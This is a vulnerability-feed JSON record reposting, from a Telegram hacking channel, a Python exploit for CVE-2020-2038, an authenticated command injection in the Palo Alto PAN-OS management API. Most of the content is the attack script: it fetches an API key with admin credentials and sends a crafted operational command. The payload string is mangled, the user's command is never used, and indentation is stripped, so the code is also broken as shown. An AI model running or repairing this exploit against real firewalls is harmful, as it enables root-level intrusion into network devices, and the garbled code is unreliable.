{"uuid": "d28a76e0-7a08-4ea1-a62d-e4b7dece43fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-2038", "type": "seen", "source": "https://t.me/hacking_Attack/64815", "content": "Exploit Collector\nPAN-OS 10.0 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png \nPAN-OS version 10.0 suffers from a remote code execution vulnerability.\n\nSHA-256 | c1282cb5ecd90e16f595092c1707c237e44c6b5bd2c379fcb5da77524df6d2c8\n\nDownload\n# Exploit Title: PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated)\n# Date: 2022-08-13\n# Exploit Author: UnD3sc0n0c1d0\n# Software Link: https://security.paloaltonetworks.com/CVE-2020-2038\n# Category: Web Application\n# Version: <10.0.1,<9.1.4\n# Tested on: PAN-OS 10.0 - Parrot OS\n# CVE : CVE-2020-2038\n#\n# Description:\n# An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated \n# administrators to execute arbitrary OS commands with root privileges.\n# More info: https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/\n# Credits: Mikhail Klyuchnikov and Nikita Abramov of Positive Technologies for discovering and reporting this issue.\n\n#!/usr/bin/env python3\n\nimport requests\nimport urllib3\nimport sys\nimport getopt\nimport xmltodict\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\ndef banner():\nprint('\\n###########################################################################')\nprint('# Proof of Concept for CVE-2020-2038                                      #')\nprint('# Vulnerability discovered by Mikhail Klyuchnikov and Nikita Abramov of   #')\nprint('# Positive Technologies                                                   #')\nprint('# https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/ #')\nprint('#                                                                         #')\nprint('#                           Exploit by: Juampa Rodr\u00edguez (@UnD3sc0n0c1d0) #')\nprint('###########################################################################')\n\ndef exploit(target,user,password,command):\napiparam = {'type': 'keygen', 'user': user, 'password': password}\napiresponse = requests.get(target+'api/', params=apiparam, verify=False)\nxmlparse = xmltodict.parse(apiresponse.content)\napikey = xmlparse['response']['result']['key']\npayload = '<cms-ping<host8.8.8.8<count1<pattern111'\nparameters = {'cmd': payload, 'type': 'op', 'key': apikey}\nresponse = requests.get(target+'api', params=parameters, verify=False)\nprint(response.text[50:-20])\n\ndef usage():\nprint('\\nusage: CVE-2020-2038.py\\n\\n')\nprint('arguments:')\nprint('     -h      show this help message and exit')\nprint('     -t      target URL (ex: http://vulnerable.host/)')\nprint('     -u      target administrator user')\nprint('     -p      pasword of the defined user account')\nprint('     -c      command you want to execute on the target\\n')\n\ndef main(argv):\nif len(sys.argv) < 9:\nbanner()\nusage()\nsys.exit()\ntry:\nopts, args = getopt.getopt(argv,\"ht:u:p:c:\")\nexcept getopt.GetoptError:\nbanner()\nusage()\nsys.exit()\nfor opt, arg in opts:\nif opt == '-h':\nusage()\nsys.exit()\nif opt == '-t':\ntarget = arg\nif opt == '-u':\nuser = arg\nif opt == '-p':\npassword = arg\nif opt == '-c':\ncommand = arg\nbanner()\nexploit(target,user,password,command)\nsys.exit()\n\nif __name__ == \"__main__\":\ntry:\nmain(sys.argv[1:])\nexcept KeyboardInterrupt:\nprint('Interrupted by users...')\nexcept:\nsys.exit()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:26.687935Z"}